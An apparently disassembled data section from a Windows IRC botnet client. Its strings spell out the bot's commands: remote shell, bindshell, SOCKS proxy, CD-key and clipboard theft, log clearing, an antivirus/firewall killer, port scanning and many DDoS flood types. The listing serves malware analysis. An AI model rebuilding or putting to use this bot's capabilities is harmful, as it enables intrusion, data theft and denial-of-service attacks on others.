asc_42F324 db '-' ; DATA XREF: sub_40274D+1DBFo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_28 db '- Failed to start scan thread, error: <%d>.',0
align 10h
; char asc_42F360[]
asc_42F360 db '-' ; DATA XREF: sub_40274D+1D60o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_40274D+1D35o
; sub_40274D+5909o
align 4
aRandom db 'Random',0 ; DATA XREF: sub_40274D+1D2Eo
; sub_40274D+5902o
align 10h
; char asc_42F3E0[]
asc_42F3E0 db '-' ; DATA XREF: sub_40274D+1B80o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_42F420 db 2Dh ; - ; DATA XREF: sub_40274D+1B0Do
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_29 db 'Failed to start search thread, error: <%d>.',0
; char asc_42F45C[]
asc_42F45C db '-' ; DATA XREF: sub_40274D+1AA3o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
; char aFp[]
aFp db 'fp',0 ; DATA XREF: sub_40274D+1A66o
align 4
; char aFindpass[]
aFindpass db 'findpass',0 ; DATA XREF: sub_40274D+1A55o
align 4
; char aNoticeSPhoning[]
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_40274D+1A3Fo
align 4
; char aPhonehome[]
aPhonehome db 'phonehome',0 ; DATA XREF: sub_40274D+1A28o
align 4
; char aScanall[]
aScanall db 'scanall',0 ; DATA XREF: sub_40274D+19FEo
; char asc_42F4CC[]
asc_42F4CC db '-' ; DATA XREF: sub_40274D+19B1o
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 73617243h, 676E6968h, 746F6220h
dd 2Eh
; char aCrash[]
aCrash db 'crash',0 ; DATA XREF: sub_40274D+199Bo
; sub_40274D+19E8o
align 10h
; char aTftp[]
aTftp db 'tftp',0 ; DATA XREF: sub_40274D+1986o
align 4
; char aTftpserver[]
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_40274D+1971o
align 4
; char aHttp[]
aHttp db 'http',0 ; DATA XREF: sub_40274D+195Co
align 4
; char aHttpserver[]
aHttpserver db 'httpserver',0 ; DATA XREF: sub_40274D+1947o
align 4
; char aRlogin[]
aRlogin db 'rlogin',0 ; DATA XREF: sub_40274D+1932o
align 10h
; char aRloginserver[]
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_40274D+191Do
align 10h
; char aCip[]
aCip db 'cip',0 ; DATA XREF: sub_40274D+1908o
; char aCurrentip[]
aCurrentip db 'currentip',0 ; DATA XREF: sub_40274D+18F3o
align 10h
; char aFdns[]
aFdns db 'fdns',0 ; DATA XREF: sub_40274D+18DEo
align 4
; char aFlushdns[]
aFlushdns db 'flushdns',0 ; DATA XREF: sub_40274D+18C9o
align 4
; char aFarp[]
aFarp db 'farp',0 ; DATA XREF: sub_40274D+18B4o
align 4
; char aFlusharp[]
aFlusharp db 'flusharp',0 ; DATA XREF: sub_40274D+189Fo
align 4
; char aGc[]
aGc db 'gc',0 ; DATA XREF: sub_40274D+188Ao
align 4
; char aGetclip[]
aGetclip db 'getclip',0 ; DATA XREF: sub_40274D+1875o
; char asc_42F574[]
asc_42F574 db '-' ; DATA XREF: sub_40274D+183Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
; char Str2[]
Str2 db 'off',0 ; DATA XREF: sub_40274D+1822o
; sub_40274D+39C9o ...
; char aSpoof[]
aSpoof db 'spoof',0 ; DATA XREF: sub_40274D+180Bo
align 4
unk_42F5A8 db 2Dh ; - ; DATA XREF: sub_40274D+17F0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
; char aD_S[]
aD_S db '%d. %s',0 ; DATA XREF: sub_40274D+17BBo
; sub_40AEF0+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_40274D:loc_403EF9o
dword_42F5DC dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_40274D+1784o
; char aWho[]
aWho db 'who',0 ; DATA XREF: sub_40274D+1767o
dword_42F5F4 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_40274D+175Co
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40274D+1757o
align 10h
; char aCmdstop[]
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_40274D+1741o
; char aOcmd[]
aOcmd db 'ocmd',0 ; DATA XREF: sub_40274D+172Co
align 10h
; char aOpencmd[]
aOpencmd db 'opencmd',0 ; DATA XREF: sub_40274D+1717o
; char aDll[]
aDll db 'dll',0 ; DATA XREF: sub_40274D+1702o
; char aTestdlls[]
aTestdlls db 'testdlls',0 ; DATA XREF: sub_40274D+16EDo
align 4
; char aDrv[]
aDrv db 'drv',0 ; DATA XREF: sub_40274D+16D8o
; char aDriveinfo[]
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_40274D+16C3o
align 4
; char aUp[]
aUp db 'up',0 ; DATA XREF: sub_40274D+16AEo
; sub_40274D+4864o
align 4
; char aUptime[]
aUptime db 'uptime',0 ; DATA XREF: sub_40274D+1699o
align 4
; char aKey[]
aKey db 'key',0 ; DATA XREF: sub_40274D+1684o
; char aGetcdkeys[]
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_40274D+166Fo
align 4
; char aPs[]
aPs db 'ps',0 ; DATA XREF: sub_40274D+165Ao
align 4
; char aProcs[]
aProcs db 'procs',0 ; DATA XREF: sub_40274D+1645o
align 10h
; char aRm[]
aRm db 'rm',0 ; DATA XREF: sub_40274D+1630o
align 4
; char aRemove[]
aRemove db 'remove',0 ; DATA XREF: sub_40274D+161Bo
align 4
; char aSi[]
aSi db 'si',0 ; DATA XREF: sub_40274D+1606o
align 10h
; char aSysinfo[]
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_40274D+15F1o
; char aNi[]
aNi db 'ni',0 ; DATA XREF: sub_40274D+15DCo
align 4
; char aNetinfo[]
aNetinfo db 'netinfo',0 ; DATA XREF: sub_40274D+15C7o
; char aClg[]
aClg db 'clg',0 ; DATA XREF: sub_40274D+15B2o
; char aClearlog[]
aClearlog db 'clearlog',0 ; DATA XREF: sub_40274D+159Do
align 4
; char aLg[]
aLg db 'lg',0 ; DATA XREF: sub_40274D+1588o
align 4
; char aLog[]
aLog db 'log',0 ; DATA XREF: sub_40274D+1573o
; ___libm_error_support:loc_424419o ...
; char aAl[]
aAl db 'al',0 ; DATA XREF: sub_40274D+155Eo
align 10h
; char aAliases[]
aAliases db 'aliases',0 ; DATA XREF: sub_40274D+1549o
; char aT[]
aT: ; DATA XREF: sub_40274D+1534o
; .data:00442EE0o ...
unicode 0, <t>,0
; char aThreads[]
aThreads db 'threads',0 ; DATA XREF: sub_40274D+151Fo
unk_42F6C4 db 2Dh ; - ; DATA XREF: sub_40274D+14EEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
; char asc_42F6EC[]
asc_42F6EC db '-' ; DATA XREF: sub_40274D+14E7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
; char aReboot[]
aReboot db 'reboot',0 ; DATA XREF: sub_40274D+14D0o
align 4
; char aI[]
aI: ; DATA XREF: sub_40274D+14BBo
; .data:00442EECo ...
unicode 0, <i>,0
; char aId[]
aId db 'id',0 ; DATA XREF: sub_40274D+14A6o
align 4
; char aS_6[]
aS_6: ; DATA XREF: sub_40274D+1491o
; .data:00442EF8o ...
unicode 0, <s>,0
; char aStatus[]
aStatus db 'status',0 ; DATA XREF: sub_40274D+147Co
align 4
; char aQ[]
aQ: ; DATA XREF: sub_40274D+1467o
; .data:off_442ED0o ...
unicode 0, <q>,0
; char aQuit_0[]
aQuit_0 db 'quit',0 ; DATA XREF: sub_40274D+1452o
align 4
; char aDc[]
aDc db 'dc',0 ; DATA XREF: sub_40274D+143Do
align 4
; char aDisconnect[]
aDisconnect db 'disconnect',0 ; DATA XREF: sub_40274D+1428o
align 4
; char aR[]
aR: ; DATA XREF: sub_40274D+1413o
; sub_40274D+3ABFo ...
unicode 0, <r>,0
; char aReconnect[]
aReconnect db 'reconnect',0 ; DATA XREF: sub_40274D+13FEo
align 4
; char aExplist[]
aExplist db 'explist',0 ; DATA XREF: sub_40274D+13E9o
; char aExploitlist[]
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_40274D+13D4o
; char aCbstats[]
aCbstats db 'cbstats',0 ; DATA XREF: sub_40274D+13BFo
; char aConnectbacksta[]
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_40274D+13AAo
align 4
; char aTrstats[]
aTrstats db 'trstats',0 ; DATA XREF: sub_40274D+1395o
; char aTransferstats[]
aTransferstats db 'transferstats',0 ; DATA XREF: sub_40274D+1380o
align 4
; char aStats[]
aStats db 'stats',0 ; DATA XREF: sub_40274D+136Bo
align 4
; char aScanstats[]
aScanstats db 'scanstats',0 ; DATA XREF: sub_40274D+1356o
align 10h
dword_42F7B0 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_40274D+134Bo
aScan db 'Scan',0 ; DATA XREF: sub_40274D+1346o
align 4
; char aScanstop[]
aScanstop db 'scanstop',0 ; DATA XREF: sub_40274D+1330o
align 10h
dword_42F7D0 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_40274D+1325o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_40274D+1320o
align 4
; char aSecurestop[]
aSecurestop db 'securestop',0 ; DATA XREF: sub_40274D+130Ao
align 4
dword_42F7F4 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_40274D+12FFo
aClone db 'Clone',0 ; DATA XREF: sub_40274D+12FAo
align 4
; char aClonestop[]
aClonestop db 'clonestop',0 ; DATA XREF: sub_40274D+12E4o
align 4
; char aPsstop[]
aPsstop db 'psstop',0 ; DATA XREF: sub_40274D+12CFo
align 10h
; char aProcsstop[]
aProcsstop db 'procsstop',0 ; DATA XREF: sub_40274D+12BAo
align 4
; char aFfstop[]
aFfstop db 'ffstop',0 ; DATA XREF: sub_40274D+12A5o
align 4
; char aFindfilestop[]
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_40274D+1290o
align 4
dword_42F844 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_40274D+1285o
; char aTftpstop[]
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_40274D+126Ao
align 10h
; char aPingstop[]
aPingstop db 'pingstop',0 ; DATA XREF: sub_40274D+1244o
align 4
; char aUdpstop[]
aUdpstop db 'udpstop',0 ; DATA XREF: sub_40274D+121Eo
; char aWisdomstop[]
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_40274D+11F8o
align 10h
; char aTsunamistop[]
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_40274D+11D2o
unk_42F88C db 2Dh ; - ; DATA XREF: sub_40274D+11BBo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42F8C0 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_40274D+1186o
; sub_40274D+1213o
aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_40274D+1181o
; sub_40274D+120Eo
align 10h
dword_42F8E0 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_40274D+116Bo
; sub_40274D+11EDo
aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_40274D+1166o
; sub_40274D+11E8o
align 10h
dword_42F900 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_40274D+1114o
; sub_40274D+125Fo
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_40274D+110Fo
; sub_40274D+125Ao
align 4
dword_42F918 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_40274D+10F9o
; sub_40274D+1239o
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_40274D+10F4o
; sub_40274D+1234o
align 10h
; char aPacketstop[]
aPacketstop db 'packetstop',0 ; DATA XREF: sub_40274D+109Do
align 4
dword_42F93C dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_40274D+1092o
; sub_40274D+114Do
aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_40274D+108Do
; sub_40274D+1148o
align 4
; char aWonkstop[]
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_40274D+1077o
align 10h
dword_42F960 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_40274D+106Co
; sub_40274D+1132o
aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_40274D+1067o
; sub_40274D+112Do
align 10h
; char aTarga3stop[]
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_40274D+1051o
align 4
dword_42F98C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_40274D+1046o
; sub_40274D+11A4o
aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_40274D+1041o
; sub_40274D+119Fo
align 4
; char aSkysynstop[]
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_40274D+102Bo
align 4
dword_42F9B8 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_40274D+1020o
; sub_40274D+10DBo
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_40274D+101Bo
; sub_40274D+10D6o
align 10h
; char aSynstop[]
aSynstop db 'synstop',0 ; DATA XREF: sub_40274D+1005o
dword_42F9D8 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_40274D+FFAo
; sub_40274D+10C0o
aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_40274D+FF5o
; sub_40274D+10BBo
align 10h
; char aDdos_stop[]
aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_40274D+FDFo
align 4
dword_42F9FC dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_40274D+FD4o
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_40274D+FCFo
align 4
; char aRedirectstop[]
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_40274D+FB9o
align 4
dword_42FA2C dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_40274D+FAEo
aLogList db 'Log list',0 ; DATA XREF: sub_40274D+FA9o
align 4
; char aLogstop[]
aLogstop db 'logstop',0 ; DATA XREF: sub_40274D+F93o
dword_42FA4C dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_40274D+F88o
; char aHttpstop[]
aHttpstop db 'httpstop',0 ; DATA XREF: sub_40274D+F6Do
align 4
dword_42FA68 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_40274D+F62o
; char aRloginstop[]
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_40274D+F47o
align 4
dword_42FA84 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_40274D+F3Co
; char aSocks4stop[]
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_40274D+F21o
align 10h
; char aS4[]
aS4 db 's4',0 ; DATA XREF: sub_40274D+F0Co
align 4
; char aSocks4[]
aSocks4 db 'socks4',0 ; DATA XREF: sub_40274D+EF7o
align 4
dword_42FAAC dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_40274D+EECo
aServer_0 db 'Server',0 ; DATA XREF: sub_40274D+EE7o
; sub_40274D+F37o ...
align 4
; char aBindshellstop[]
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_40274D+ED1o
align 4
; char aBd[]
aBd db 'bd',0 ; DATA XREF: sub_40274D+EBCo
align 4
; char aBindshell[]
aBindshell db 'bindshell',0 ; DATA XREF: sub_40274D+EA7o
align 4
; char aUnsec[]
aUnsec db 'unsec',0 ; DATA XREF: sub_40274D+E92o
align 10h
; char aUnsecure[]
aUnsecure db 'unsecure',0 ; DATA XREF: sub_40274D+E7Do
align 4
; char aSec[]
aSec db 'sec',0 ; DATA XREF: sub_40274D+E68o
; sub_40274D+2B4Do
; char aSecure[]
aSecure db 'secure',0 ; DATA XREF: sub_40274D+E53o
; sub_40274D+2B3Co
align 4
; char aSt[]
aSt db 'st',0 ; DATA XREF: sub_40274D+E3Eo
align 4
; char aSpeedtest[]
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_40274D+E29o
align 4
; char aDed[]
aDed db 'ded',0 ; DATA XREF: sub_40274D+E14o
; char aDedication[]
aDedication db 'dedication',0 ; DATA XREF: sub_40274D+DFFo
align 4
; char aVer[]
aVer db 'ver',0 ; DATA XREF: sub_40274D+DEAo
; char aVersion[]
aVersion db 'version',0 ; DATA XREF: sub_40274D+DD5o
; char aLo[]
aLo db 'lo',0 ; DATA XREF: sub_40274D+DC0o
align 4
; char aLogout[]
aLogout db 'logout',0 ; DATA XREF: sub_40274D+DABo
align 10h
; char aD_0[]
aD_0: ; DATA XREF: sub_40274D+D96o
; sub_40FDC3+7Fo ...
unicode 0, <d>,0
; char aDie[]
aDie db 'die',0 ; DATA XREF: sub_40274D+D81o
; char aRn[]
aRn db 'rn',0 ; DATA XREF: sub_40274D+D6Co
align 4
; char aRndnick_0[]
aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_40274D+D54o
; char Source[]
Source db '63',0 ; DATA XREF: sub_40274D+C4Do
align 4
; char asc_42FB58[]
asc_42FB58: ; DATA XREF: sub_40274D+C2Eo
unicode 0, <)>,0
; char aChr[]
aChr db '$chr(',0 ; DATA XREF: sub_40274D+BFAo
align 4
; char aServer[]
aServer db '$server',0 ; DATA XREF: sub_40274D+BEFo
; char aRndnick[]
aRndnick db '$rndnick',0 ; DATA XREF: sub_40274D+BDEo
align 4
; char aChan[]
aChan db '$chan',0 ; DATA XREF: sub_40274D+BC5o
align 10h
; char aUser[]
aUser db '$user',0 ; DATA XREF: sub_40274D+BB7o
align 4
; char aMe[]
aMe db '$me',0 ; DATA XREF: sub_40274D+BA5o
; char aD_1[]
aD_1 db '$%d',0 ; DATA XREF: sub_40274D+B43o
; char aD[]
aD db '$%d-',0 ; DATA XREF: sub_40274D+AA5o
align 4
; char asc_42FB98[]
asc_42FB98: ; DATA XREF: sub_40274D+9D0o
; .data:00442F14o ...
unicode 0, <l>,0
unk_42FB9C db 2Dh ; - ; DATA XREF: sub_40274D+995o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 10h
unk_42FBD0 db 2Dh ; - ; DATA XREF: sub_40274D+984o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 10h
unk_42FC00 db 2Dh ; - ; DATA XREF: sub_40274D+95Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_30 db '- Failed to start chat thread, error: <%d>.',0
align 4
; char asc_42FC38[]
asc_42FC38 db '-' ; DATA XREF: sub_40274D+905o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
; char aChat[]
aChat db 'CHAT',0 ; DATA XREF: sub_40274D+877o
align 10h
; char asc_42FC60[]
asc_42FC60 db '-' ; DATA XREF: sub_40274D+860o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
dword_42FCA4 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40274D+830o
dd 0A0Dh
; char dword_42FCBC
dword_42FCBC dd 4E495001h, 47h ; DATA XREF: sub_40274D+802o
dword_42FCC4 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40274D+7F7o
dd 0D017325h, 0Ah
; char dword_42FCE0
dword_42FCE0 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40274D+7C9o
; char asc_42FCEC[]
asc_42FCEC db '#',0 ; DATA XREF: sub_40274D+755o
; sub_40E916+1Bo
align 10h
unk_42FCF0 db 2Dh ; - ; DATA XREF: sub_40274D+72Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_31 db '- Failed to start transfer thread, error: <%d>.',0
align 4
; char asc_42FD2C[]
asc_42FD2C db '-' ; DATA XREF: sub_40274D+6CFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
; char aSend_0[]
aSend_0 db 'SEND',0 ; DATA XREF: sub_40274D+638o
align 4
; char dword_42FD64
dword_42FD64 dd 43434401h, 0 ; DATA XREF: sub_40274D+61Do
; char a332[]
a332 db '332',0 ; DATA XREF: sub_40274D+5BAo
; sub_40274D+9ECo ...
; char asc_42FD70[]
asc_42FD70 db '-' ; DATA XREF: sub_40274D+54Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 4
unk_42FD94 db 2Dh ; - ; DATA XREF: sub_40274D+52Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
; char a353[]
a353 db '353',0 ; DATA XREF: sub_40274D+4F9o
; char aQuit[]
aQuit db 'QUIT',0 ; DATA XREF: sub_40274D+4C2o
; sub_411B17+5A3o
align 10h
; char aPart[]
aPart db 'PART',0 ; DATA XREF: sub_40274D+4B1o
; sub_40274D+564o
align 4
; char aSS_1[]
aSS_1 db ':%s%s',0 ; DATA XREF: sub_40274D+48Co
align 10h
; char aNick[]
aNick db 'NICK',0 ; DATA XREF: sub_40274D+378o
align 4
; char aNoticeSS[]
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+322o
; sub_40274D+585o
; char asc_42FDE8[]
asc_42FDE8 db '-' ; DATA XREF: sub_40274D+307o
; sub_40274D+2C92o ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
; char aKick[]
aKick db 'KICK',0 ; DATA XREF: sub_40274D+2ACo
align 10h
; char aNickS[]
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+263o
; sub_40274D+7874o ...
align 4
; char a433[]
a433 db '433',0 ; DATA XREF: sub_40274D+23Bo
; sub_41A6AE:loc_41A723o
; char a[]
a@: ; DATA XREF: sub_40274D+213o
unicode 0, <@>,0
; char a302_0[]
a302_0 db '302',0 ; DATA XREF: sub_40274D+203o
; char a005[]
a005 db '005',0 ; DATA XREF: sub_40274D+1EEo
; char a001[]
a001 db '001',0 ; DATA XREF: sub_40274D+1D9o
; char aJoinSS[]
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+1BEo
; sub_40274D+365o ...
align 10h
; char aPongS[]
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+1A1o
align 4
; char Str1[]
Str1 db 'PING',0 ; DATA XREF: sub_40274D+18Ao
; sub_41A6AE+4Eo
align 4
; char Delim[]
Delim: ; DATA XREF: sub_40274D+17Bo
; sub_40274D+7981o
unicode 0, <!>,0
; char asc_42FE58[]
asc_42FE58: ; DATA XREF: sub_40274D+A9o
; sub_40274D+D04o ...
unicode 0, < >,0
; char SubStr[]
SubStr db ' :',0 ; DATA XREF: sub_40274D+87o
; sub_40274D:loc_403191o
align 10h
; char asc_42FE60[]
asc_42FE60 db '-' ; DATA XREF: WinMain(x,x,x,x)+452o
db 3, 34h, 2
dd 6E656469h, 2036474h
aFailedToSta_32 db '- Failed to start server, error: <%d>.',0
align 4
; char asc_42FE94[]
asc_42FE94 db '-' ; DATA XREF: WinMain(x,x,x,x)+407o
db 3, 34h, 2
dd 6E656469h, 2036474h
aServerRunnin_0 db '- Server running on Port: 113.',0
align 10h
; char asc_42FEC0[]
asc_42FEC0 db '-' ; DATA XREF: WinMain(x,x,x,x)+3DAo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 10h
; char asc_42FF00[]
asc_42FF00 db '-' ; DATA XREF: WinMain(x,x,x,x)+389o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
; char asc_42FF24[]
asc_42FF24 db '-' ; DATA XREF: WinMain(x,x,x,x)+34Eo
db 3, 34h, 2
dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h
dd 0
; char aSDS[]
aSDS db '%s %d "%s"',0 ; DATA XREF: WinMain(x,x,x,x)+279o
align 4
; char aSS_0[]
aSS_0 db '%s\%s',0 ; DATA XREF: WinMain(x,x,x,x)+182o
; sub_4185EA+7Eo ...
align 4
; char aSS[]
aSS db '%s%s',0 ; DATA XREF: WinMain(x,x,x,x)+106o
; sub_412135+4CFo ...
align 4
aZytowski db 'Zytowski',0 ; DATA XREF: .data:0043D750o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: .data:0043D74Co
align 10h
aZurn db 'Zurn',0 ; DATA XREF: .data:0043D748o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: .data:0043D744o
aZoldak db 'Zoldak',0 ; DATA XREF: .data:0043D740o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: .data:0043D73Co
aZegans db 'Zegans',0 ; DATA XREF: .data:0043D738o
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: .data:0043D734o
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: .data:0043D730o
align 4
aZachary db 'Zachary',0 ; DATA XREF: .data:0043D72Co
aYu db 'Yu',0 ; DATA XREF: .data:0043D728o
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: .data:0043D724o
align 4
aYoo db 'Yoo',0 ; DATA XREF: .data:0043D720o
aYoffe db 'Yoffe',0 ; DATA XREF: .data:0043D71Co
align 10h
aYetiv db 'Yetiv',0 ; DATA XREF: .data:0043D718o
align 4
aYesson db 'Yesson',0 ; DATA XREF: .data:0043D714o
align 10h
aYedidia db 'Yedidia',0 ; DATA XREF: .data:0043D710o
aYbarra db 'Ybarra',0 ; DATA XREF: .data:0043D70Co
align 10h
aYates db 'Yates',0 ; DATA XREF: .data:0043D708o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: .data:0043D704o
aYankee db 'Yankee',0 ; DATA XREF: .data:0043D700o
align 4
aYamane db 'Yamane',0 ; DATA XREF: .data:0043D6FCo
align 10h
aYacono db 'Yacono',0 ; DATA XREF: .data:0043D6F8o
align 4
aVotey db 'Votey',0 ; DATA XREF: .data:0043D6F4o
align 10h
byte_430020 db 56h ; DATA XREF: .data:0043D6F0o
aOrhaus db 'orhaus',0 ; DATA XREF: .data:off_43FE7Co
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .data:0043D6ECo
align 4
aWoods db 'Woods',0 ; DATA XREF: .data:0043D6E8o
align 10h
aWooden db 'Wooden',0 ; DATA XREF: .data:0043D6E4o
align 4
aWoo db 'Woo',0 ; DATA XREF: .data:0043D6E0o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: .data:0043D6DCo
; .rdata:00432F90o
align 4
aWolk db 'Wolk',0 ; DATA XREF: .data:0043D6D8o
; .data:off_43E4C8o
align 10h
aVoigt db 'Voigt',0 ; DATA XREF: .data:0043D6D4o
align 4
aViviani db 'Viviani',0 ; DATA XREF: .data:0043D6D0o
aVitali db 'Vitali',0 ; DATA XREF: .data:0043D6CCo
align 4
aWilson db 'Wilson',0 ; DATA XREF: .data:0043D6C8o
align 10h
aWillstatter db 'Willstatter',0 ; DATA XREF: .data:0043D6C4o
aVillarreal db 'Villarreal',0 ; DATA XREF: .data:0043D6C0o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: .data:0043D6BCo
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: .data:0043D6B8o
align 4
aWilk db 'Wilk',0 ; DATA XREF: .data:0043D6B4o
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: .data:0043D6B0o
aWilder db 'Wilder',0 ; DATA XREF: .data:0043D6ACo
align 4
